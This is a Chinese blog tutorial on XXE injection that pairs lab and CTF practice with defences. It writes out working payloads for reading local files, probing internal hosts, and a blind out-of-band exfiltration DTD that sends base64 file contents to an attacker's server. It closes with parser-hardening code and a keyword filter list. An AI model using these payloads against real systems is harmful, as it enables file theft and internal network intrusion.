zoukankan      html  css  js  c++  java
  • XXE外部实体注入漏洞

     XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

     

    与html区别:

    Xml:被设计为传输和存储数据,其焦点是数据的内容

    Html:是为了显示数据,焦点是外观

    Html旨在显示信息,xml旨在传输信息。

    Xml典型代码:

    <!--XML声明-->

    <?xml version="1.0"?>

    <!--文档类型定义-->

    <!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->

    <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->

    <!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->

    <!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->

    <!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->

    <!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->

    ]]]>

    <!--文档元素-->

    <note>

    <to>Dave</to>

    <from>Tom</from>

    <head>Reminder</head>

    <body>You are a good man</body>

    </note>

    各脚本支持的协议;

     

    存在xxe的情况下:

    #玩法-读文件

    <?xml version = "1.0"?>

    <!DOCTYPE ANY [

    <!ENTITY xxe SYSTEM "file:///d://test.txt"> 

    ]>

    <x>&xxe; &xxe;</x>

    //xxe为变量,读取test.txt

    //打印出来

    用file协议读指定路径的文件

    显示结果:

    #玩法-内网探针或攻击内网应用(触发漏洞地址)内网探针

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE foo [

    <!ELEMENT foo ANY >

    <!ENTITY rabbit SYSTEM "http://192.168.33.130:80/cookie.txt" >

    ]>

    <x>&rabbit;</x>

    #引入外部实体dtd,dtd就是xml的后缀,识别为xml格式

    如果设置了禁止外部实体引用,将会失效

    <?xml version="1.0" ?>

    <!DOCTYPE test [

    <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">

    %file;

    ]>

    <x>&send;</x>

    可以在远程服务器evil2.dtd写上:

    <!ENTITY send SYSTEM "file:///d:/test.txt">

    #无回显-读取文件

    <?xml version="1.0"?>

    <!DOCTYPE test [

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">

    <!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">

    %dtd;

    %send;

    ]>

    Base64加密是反正传输中乱码,传输失败。

    本地192.168.0.103上构造:

    test.dtd:

    <!ENTITY % payload

    "<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"

    >

    %payload;

    开启日志,看日志就可以看到test.txt数据了。

    #协议-读文件(绕过)

    参考:https://www.cnblogs.com/20175211lyz/p/11413335.html

    <?xml version = "1.0"?>

    <!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>

    <x>&f;</x>

    如何检测:

    1. 数据格式类型

        如果发现有<user>test</user><pass>Mikasa</pass>  类型

    1. 抓包发现  content-type中是  text/xml  或者 application/xml
    2. 盲猜:更改content-type值application/xml看返回

    burp上抓包 右键

    do an active scan:扫描漏洞

    Send to spider:爬行

    利用爬行,找到有xml,把xml代码拷贝到post上既可以利用

    CTF-Vulnhub-XXE安全真题复现

    例子:

    扫描IP及端口->扫描探针目录->抓包探针xxe安全->利用xxe读取源码->flag指向文件->base32 64解密->php运行->flag

    xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

    https://www.cnblogs.com/bmjoker/p/9614990.html
    xxe_payload_fuzz

    很多靶场镜像的网站:

    https://download.vulnhub.com

    #xxe漏洞修复与防御方案-php,java,python-过滤及禁用

    #方案1-禁用外部实体

    PHP:

    libxml_disable_entity_loader(true);

    JAVA:

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

    Python:

    from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    #方案2-过滤用户提交的XML数据

    过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

    涉及资源:

    https://github.com/c0ny1/xxe-lab

    https://download.vulnhub.com/xxe/XXE.zip   //靶场

    https://github.com/enjoiz/XXEinjector

    https://www.cnblogs.com/bmjoker/p/9614990.html  //xxe注入工具

    https://www.cnblogs.com/20175211lyz/p/11413335.html  //介绍xxe

  • 相关阅读:
    洛谷 P1494 [国家集训队]小Z的袜子 /【模板】莫队
    洛谷 P2801 教主的魔法
    数据库三范式
    vi和vim三种常见模式
    linux目录结构的具体介绍
    Linux怎么用root用户登录
    虚拟机的网络连接的三种方式
    事务
    数据库存储引擎
    delete和truncate
  • 原文地址:https://www.cnblogs.com/trevain/p/13651273.html
Copyright © 2011-2022 走看看